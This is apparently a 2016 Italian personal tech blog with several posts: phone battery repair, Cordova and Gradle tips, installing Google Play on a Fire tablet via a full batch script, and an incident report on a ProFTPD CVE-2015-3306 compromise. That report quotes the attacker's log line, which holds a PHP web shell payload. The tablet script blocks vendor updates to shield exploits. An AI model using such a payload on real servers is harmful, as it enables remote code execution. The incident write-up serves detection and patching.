martedì 19 gennaio 2016

Sostituire batteria su Moto E

Come il suo fratello maggiore Moto G, anche il Moto E non ha la batteria sostituibile perche' e' bloccata dalla scocca.

Purtroppo il tempo di vita della batteria EL40 e' stato inferiore ai due anni ed invece di ricomprare un altro telefono ho provato la sostituzione. Mi sono comprato su un ecommerce cinese un set di attrezzi per smontare il telefono ma le chiavi si sono mostrate sbagliate

Ho notato che lo chassis che blocca la batteria e' costituito da una sottile lamina di plastica (al contrario del Moto G dove la batteria e' completamente bloccata)




Con molta calma ed agendo dal basso verso l'alto (non e' una buona idea bucare il contenitore di una batteria LiPo) ho tagliato la plastica su uno dei due bordi ed alzato il coperchio


Il connettore della batteria e' a soli due contatti ed e' a pressione.
10 minuti di lavoro e 10 euro di batteria ed il telefono e' tornato funzionante

lunedì 18 gennaio 2016

Gradle error

Oggi compilando, senza modifiche, un progetto Android Studio che fino a due giorni fa funzionava ho avuto l'errore

Plugin is too old, please update to a more recent version, or set ANDROID_DAILY_OVERRIDE environment variable to "efdc9743630b8ba5a00eaeaa1375fff7cdb0e3cb"


la soluzione e' piuttosto nascosto e si deve aggiornare la stringa

classpath 'com.android.tools.build:gradle:2.0.0-alpha2'

a

classpath 'com.android.tools.build:gradle:2.0.0-alpha3'
in build.gradle di CordovaLib ed in build.gradle di Android

mercoledì 13 gennaio 2016

FTP exploit CVE-2015-3306 su Ubuntu 14.04 LTS

Frugando su un server che non amministro direttamente e' stata trovata questa stringa ed e' ovviamente scattato l'allarme generale

proftpd: 31.131.56.168:57602: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
dopo una breve verifica e' stata trovato il file di configurazione di Wordpress copiato in una directory leggibile del sistema (wp-contente/themes) ed e' stato chiara la compromissione

analizzando i log di ProFtpd erano presenti nell'ultimo mese solo due accessi di pochi secondi dall'ip sopra indicato (che corrisponde ad un indirizzo polacco...avrei scommesso qualsiasi cosa su Cina e Russia) a testimoniare che l'ospite e' andato a colpo sicuro (forse uno script kiddie)

La macchina in esame era una Ubuntu 14.04 LTS (non aggiornata perche' non era stato impostato il DNS giusto ma vedremo che cio' non ha influito) con montato ProFtpd 1.3.5rc3

Consultando questo link
https://www.exploit-db.com/exploits/36742/
si vede che la versione installata permette l'esecuzione di copia di comandi anche ad utenti non autenticati (mi sembra di essere tornato indietro di 10-12 anni ai tempi di Red Hat 7..)

il codice Php e' una shell Php


Attacchi praticamente identici sono descritti a questo link

A questo punto basta fare un update/upgrade per scaricare la versione patchata del server ftp e si va avanti...peccato che Ubuntu 14.04 non abbia nella lista degli aggiornamenti il server ProFtpd patchato
Guardando meglio a questo link
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3306.html
si vede che le versioni del 2015 sono immuni dal problemi mentre la 14.04, benche' sia una LTS e' vulnerabile


per quanto riguarda Debian la versione 7 ha nei repository la versione 1.3.4 (vecchiotta ma sembra esente da problemi di exploit mentre la versione 8 monta la 1.3.5.1 patchata
da questo link si evidenzia che Debian e' esente dal problema https://security-tracker.debian.org/tracker/CVE-2015-3306


Lunga vita a Debian

martedì 12 gennaio 2016

Remix OS 2.0

Doveva uscire oggi la realease pubblica di Remix OS 2.0, una versione a finestra di Android nata per l'ambiente desktop....nonostante le attese pero' non ci sono novita' sul sito ma  frugando su Internet ho trovato una ISO del 30/12/2015 (2 Giga circa, 700 Mb compressi) scaricabile da Google Drive (qualche ora dopo anche il sito ufficiale e' comparsa la versione alpha da 700 Mb con incluso il programma per creare la penna USB avviabile)..la versione ufficiale alpha risulta essere piu' stabile e veloce

Non volendomi giocare un computer ho provato il sistema su Virtualbox (su VMWare non sembra partire)

L'unica accortezza e' quella, al boot, di premere Tab ed agguingere vga=791 per configurare la scheda video
La barra verde e' un errore grafico,cliccandoci sopra diventa nera con il bordo superiore verde
Il sistema puo' funzionare in Guest Mode (avviabile da chiavetta) o Resident Mode (installazione su HD)

Le prime impressioni da utente Android non sono esaltanti piu' che altro perche' il sistema e' molto lento in modo virtualizzato
il sistema a finestra funziona ma non e' presente per tutte le applicazioni (alcune si aprono a tutto schermo e sembra possibile solo minimizzarle)
Dai Settings si osserva che il sistema si basa su Android 5.1.1 e Android_x86_64 bit 4.0.9 ed e' presente un file manager

lunedì 11 gennaio 2016

Compilare Apache/Cordova sotto Android Studio/IOS

Per compilare i progetti Cordova su Android ed IOS di solito faccio creare lo scheletro del  codice  a Cordova ma poi intervengo con Android Studio e XCode per le modifiche

Android
Per prima cosa si devono modificare i file

build.gradle  Module:CordovaLIb
build.gradle Module:android

sostituendo mavenCentral() con jcenter()
e risincronizzando il progetto (altrimenti non si compila)




IOS
Un aspetto fastidioso di Cordova su IOS e' che la WebView fa a corprire parte della statusbar.
Per evitare cio' la cosa piu' semplice e' nascondere la status bar aggiungendo a MainViewController.m la funzione

- (BOOL)prefersStatusBarHidden { return YES; }

Pinch to Zoom
Sia la rotazione del display che il pinch to zoom non sono abilitati di default in Cordova (e questo puo' essere molto fastidioso per utenti mobile abituati a questa funzionalita' praticamente ovunque)


Android

In Android devono essere aggiunta alla MainActivity le righe evidenziate in giallo

------------------------------

import android.os.Bundle;import org.apache.cordova.*;import android.webkit.WebSettings;
import android.webkit.WebView;


public class MainActivity extends CordovaActivity
{
    @Override    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        // Set by <content src="index.html" /> in config.xml        loadUrl(launchUrl);        WebView webView = (WebView) appView.getEngine().getView();
        WebSettings ws = webView.getSettings();
        ws.setSupportZoom(true);
        ws.setBuiltInZoomControls(true);
    }
}

------------------------------

IOS
In Ios si deve modificare il file config.xml in modo da abilitare il ViewPortScale

<platform name="ios">
        <allow-intent href="itms:*" />
        <allow-intent href="itms-apps:*" />
        <preference name='EnableViewportScale' value='true'/>
        <preference name='Orientation' value='all'/>
</platform>

fra le altre cose nel medesimo file si puo' abilitare anche l'Orientation 

venerdì 8 gennaio 2016

PlayStore su FireOS

Ho comprato per i bambini un tablet Amazon da 7 pollici per avere troppi pensieri se veniva distrutto in poco tempo dato il costo di circa 60 euro



Non avevo fatto il conto sul tablet Amazon non gira Android ma FireOS, fortemente derivato da Android ma senza i servizi Google, primo tra tutti Google Play

In realta' e' piuttosto semplice installare Google Play sul dispositivo seguendo le indicazioni a questo link
http://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/
il pacchetto .zip e' nato per Windows ed e' ridondante perche' se uno ha gia' i driver usb e adb e' piuttosto semplice farne a meno di molte cose


leggendo il file .bat e' piuttosto semplice capire che non c'e' bisogno di exploit per installare Google Play su FireOS..basta copiare ed installare gli apk di Google Play (non sono nemmeno necessari i permessi di root)..vedi righe evidenziate in giallo per l'installazione di Google Play ed azzurro per la rimozione dei servizi Amazon

Fra l'altro lo script permette anche di rimuovere gli aggiornamenti OTA e la ricezione delle offerte Amazon (ma cio' e' vietato se si e' acquistato il dispositivo a prezzo scontato a 59.99 euro al posto di 79.99 euro)

Fra le altre cose, nonostante il costo ridotto, il tablet e' una bella macchinetta anche abbastanza veloce che puo' valere la pena di avere
------------------------------------------------------
::visit Rootjunky.com

::Set our Window Title
@title Amazon Fire Tablet Tool

::Set our default parameters
@echo off
color 0b



:menuLOOP

call:header
::Print our header
::call:header

::Load up our menu selections
echo.--------------------------------------------------------------------------------
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":menu_" "%~f0""') do echo.  %%B  %%C

call:printstatus

set choice=
echo.&set /p choice= Please make a selection or hit ENTER to exit: ||GOTO:EOF
echo.&call:menu_%choice%

GOTO:menuLOOP

:menu_1    ADB Driver Install                 
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo[*] This option will run a program to get your adb drivers
echo[*] installed for your Amazon Fire Tablet exit program when done
echo.--------------------------------------------------------------------------------
echo.
for /f "tokens=1,2,* delims=_ " %%A in ('"C:/Windows/system32/findstr.exe /b /c:":driver_" "%~f0""') do echo.  %%B  %%C
set choice=
echo.&set /p choice= Please make a selection then hit ENTER:
echo.&call:driver_%choice%
color 0b
cls
GOTO:EOF

:driver_1 ADB driver install
cls
color 0b
echo.--------------------------------------------------------------------------------
echo [*] Before continuing, ensure USB debugging is enabled
echo [*] in your Amazon fire 5th gen settings 
echo [*] go to device options then click on serial number 7 times to enable 
echo [*] developer options then in developer options turn on Enable adb option.
echo [*] MAKES SURE YOUR ANTI VERUS IS OFF. 
echo.--------------------------------------------------------------------------------
echo [*] press any key to start adb driver install
pause >nul
echo.--------------------------------------------------------------------------------
start devmgmt.msc
echo [*] Device Manager should open up wait for it. 
echo [*] Find Amazon Fire and right click on it. 
echo [*] Select Properties then Update Driver 
echo [*] "Browse My Computer For Driver Software" 
echo [*] "Let Me Pick from a List of Device Drivers on my Computer
echo [*] choose Have Disk
echo [*] Browse to the usb_drivers fold that is in this tool
echo [*] then click Next NOTE drivers are not signed this is fine. 
echo [*] once installed ADB should find the Amazon Fire Tablet.
echo.--------------------------------------------------------------------------------
echo [*] please run the driver test to make sure drivers work before installing apps
echo.--------------------------------------------------------------------------------
pause
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF

:driver_2  ADB Driver Test
cls
color 0b
adb kill-server
adb start-server
echo [*] Press any key to check if your drivers are installed
echo [*] correctly. 
echo.--------------------------------------------------------------------------------
pause > nul
echo.--------------------------------------------------------------------------------
echo [*] Is there a device listed under list of devices attached?
echo [*] If no then reboot computer and run the driver install option 
echo [*] again then recheck
echo [*] If device serial number listed then drivers are installed.
echo [*] Press any key to continue
echo.--------------------------------------------------------------------------------
adb devices
pause > nul
adb kill-server
echo [*] RootJunky OUT
set choice=
echo.&set /p choice= hit ENTER to return to start: ||GOTO:EOF
echo.&call:bootsubmenu_%choice%
color 0b
cls
GOTO:EOF


:menu_2 Install Google Play store and remove ads from lock screen
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
echo [*] Installing Google Play Store apps this will take some time
echo.--------------------------------------------------------------------------------
echo [*] Installing app 1 of 4
adb install com.google.android.gms-6.6.03_(1681564-036)-6603036-minAPI9.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 2 of 4
adb install GoogleLoginService.apk
echo.--------------------------------------------------------------------------------
echo [*] Installing app 3 of 4
adb install GoogleServicesFramework.apk
adb shell pm grant com.google.android.gms android.permission.INTERACT_ACROSS_USERS
echo.--------------------------------------------------------------------------------
echo [*] Installing app 4 of 4
adb install com.android.vending-5.9.12-80391200-minAPI9.apk
adb shell pm hide com.amazon.kindle.kso
cls
echo [*] all apps installed and permissions set.
echo [*] Also removed the ads from your lock screen.. your welcome
echo [*] please reboot device to fully remove ads then sign into Play store
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_3 block OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm hide com.amazon.otaverifier
adb shell pm hide com.amazon.device.software.ota
adb shell pm hide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been blocked to protect root
echo [*] and keep Amazon from patching our exploits 
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF


:menu_4 unblock OTA updates from Amazon
cls
color 0b
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
echo First you must turn on ADB DEBUGGING in your Amazon fire 5th gen settings 
echo go to device options then click on serial number 7 times to enable 
echo developer options then in developer options turn on Enable adb option.
echo also make sure your drivers are installed 
echo.--------------------------------------------------------------------------------
pause
cls
adb wait-for-devices
adb shell pm unhide com.amazon.otaverifier
adb shell pm unhide com.amazon.device.software.ota
adb shell pm unhide com.amazon.settings.systemupdates
echo.--------------------------------------------------------------------------------
echo [*] OTA update have now been unblocked
echo [*] and amazon can now auto update your device.
echo.--------------------------------------------------------------------------------
adb kill-server
pause
color 0b
cls
GOTO:EOF



:header  
cls        
color 0e
echo.[////////////////////////////      //////////            //////////////////////]                                                                           
echo.[///////////////////////////  ///   //////////////  ///////////////////////////]                                                                            
echo.[//////////////////////////  ////  //////////////  ////////////////////////////]                                                                    
echo.[/////////////////////////  //   ///////////////  /////////////////////////////]                                       
echo.[////////////////////////  ////  /////////  ///  //////////////////////////////]                                  
echo.[///////////////////////  //////  /////////    ////////////////////////////////]
echo.            RootJunkys Amazon Fire Tablet Google Play store Install
echo.             Huge thanks to SD-Shadow for his work on this device.
echo.--------------------------------------------------------------------------------
echo.
adb kill-server
adb start-server
echo.--------------------------------------------------------------------------------
adb devices
timeout 5 > nul
adb kill-server
cls
color 0b
GOTO:EOF

:printstatus
echo.
echo. Lets Do This...
echo.--------------------------------------------------------------------------------

GOTO:EOF

------------------------------------------------------

E' possibile fare anche il root del dispositivo come indicato qui
http://rootjunkysdl.com/?device=Amazon%20Fire%205th%20gen&tag=823814-20
ma il modo in cui viene effettuato non e' cosi' banale come nel caso sopra presentato

giovedì 7 gennaio 2016

Scrivere file con Cordova su Android Studio/XCode

Con Apache Cordova e' possibile scrivere dati sulla memoria del dispositivo mobile ma, a causa delle enormi differenze della gestione dello storage nei vari sistemi operativi, non e' possibile avere una soluzione unica ma si devono effettuare adattamenti ad hoc

Per prima cosa si deve aggiungere il plugin File con il comando

cordova plugin add org.apache.cordova.file
IOS
Il filesystem in IOS ovviamente non viene esposto e lo scambio dati avviene solo tramite ITunes



Il progetto Xcode di Cordova deve essere modificato come segue

1) deve essere aggiunto una chiave file info.plist
Application supports Itunes file sharing = YES
(UIFileSharingEnabled = YES)


2) deve essere aggiunto al file config.xml (dopo gli allow) il seguente codice
-------------
    <feature name="File">
        <param name="ios-package" value="CDVFile" />
    </feature>
    <feature name="FileTransfer">
        <param name="ios-package" value="CDVFileTransfer" />
    </feature>
    <preference name="iosPersistentFileLocation" value="Library" />
    <preference name="BackupWebStorage" value="local" />
-------------

3) il codice HTML5 deve essere leggermente modificato rispetto agli esempi di Cordova (in particolare si deve puntare sulla directory Documents che su IOS e' persistente ed in lettura/scrittura. Per un esempio si puo' leggere anche questo post
-------------
/* globals console,document,window,cordova */
document.addEventListener('deviceready', onDeviceReady, false);

var logOb;

function fail(e) {
    console.log("FileSystem Error");
    console.dir(e);
}

function onDeviceReady() {
    
    window.resolveLocalFileSystemURL(cordova.file.documentsDirectory, function(dir) {
                                     console.log("got main dir",dir);
                                     dir.getFile("log.txt", {create:true}, function(file) {
                                                 console.log("got the file", file);
                                                 logOb = file;
                                                 writeLog("App started");
                                                 });
                                     });
    
    document.querySelector("#actionOne").addEventListener("touchend", function(e) {
                                                          //Ok, normal stuff for actionOne here
                                                          //
                                                          //Now log it
                                                          alert("tasto 1");
                                                          writeLog("actionOne fired");
                                                          }, false);
    
    document.querySelector("#actionTwo").addEventListener("touchend", function(e) {
                                                          //Ok, normal stuff for actionTwo here
                                                          //
                                                          //Now log it
                                                          alert("tasto 2");

                                                          writeLog("actionTwo fired");
                                                          }, false);
    
}

function writeLog(str) {
    if(!logOb) {
        alert("errore write log");
            return;
            }
    var log = str + " [" + (new Date()) + "]\n";
    console.log("going to log "+log);
    alert("Luca");
    logOb.createWriter(function(fileWriter) {
                       
                       fileWriter.seek(fileWriter.length);
                       alert("Luca");
                       
                       var blob = new Blob([log], {type:'text/plain'});
                       fileWriter.write(blob);
                       console.log("ok, in theory i worked");
                       }, fail);
}

function justForTesting() {
    logOb.file(function(file) {
               var reader = new FileReader();
               
               reader.onloadend = function(e) {
               console.log(this.result);
               };
               
               reader.readAsText(file);
               }, fail);
    

}
-------------


Android

Su Android le cose sono decisamente piu' semplici

si dichiara in config.xml che si vuole usare il plugin
-------------
<feature name="File">
<param name="android-package" value="org.apache.cordova.FileUtils" />
</feature>
<feature name="FileTransfer">
<param name="android-package" value="org.apache.cordova.FileTransfer" />
</feature>
-------------

Si settano in permessi di scrittura in AndroidManifest.xml
-------------
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-------------

Di nuovo il codice HTML5 dell'esempio di Cordova in cui e' evidenziata in giallo la modifica per Android
-------------
/* globals console,document,window,cordova */
document.addEventListener('deviceready', onDeviceReady, false);

var logOb;

function fail(e) {
console.log("FileSystem Error");
console.dir(e);
}

function onDeviceReady() {

window.resolveLocalFileSystemURL(cordova.file.externalRootDirectory, function(dir) {
console.log("got main dir",dir);
dir.getFile("log.txt", {create:true}, function(file) {
console.log("got the file", file);
logOb = file;
writeLog("App started");
});
});

document.querySelector("#actionOne").addEventListener("touchend", function(e) {
//Ok, normal stuff for actionOne here
//
//Now log it
writeLog("actionOne fired");
}, false);

document.querySelector("#actionTwo").addEventListener("touchend", function(e) {
//Ok, normal stuff for actionTwo here
//
//Now log it
writeLog("actionTwo fired");
}, false);

}

function writeLog(str) {
if(!logOb) return;
var log = str + " [" + (new Date()) + "]\n";
console.log("going to log "+log);
logOb.createWriter(function(fileWriter) {

fileWriter.seek(fileWriter.length);

var blob = new Blob([log], {type:'text/plain'});
fileWriter.write(blob);
console.log("ok, in theory i worked");
}, fail);
}

function justForTesting() {
logOb.file(function(file) {
var reader = new FileReader();

reader.onloadend = function(e) {
console.log(this.result);
};

reader.readAsText(file);
}, fail);

}
-------------

Aruco Tag e filtri Kalman

Usando gli Aruco tag in ambiente esterno con illuminazione solare a diverse ore e in diversi periodi dell'anno ho trovato un errore nell...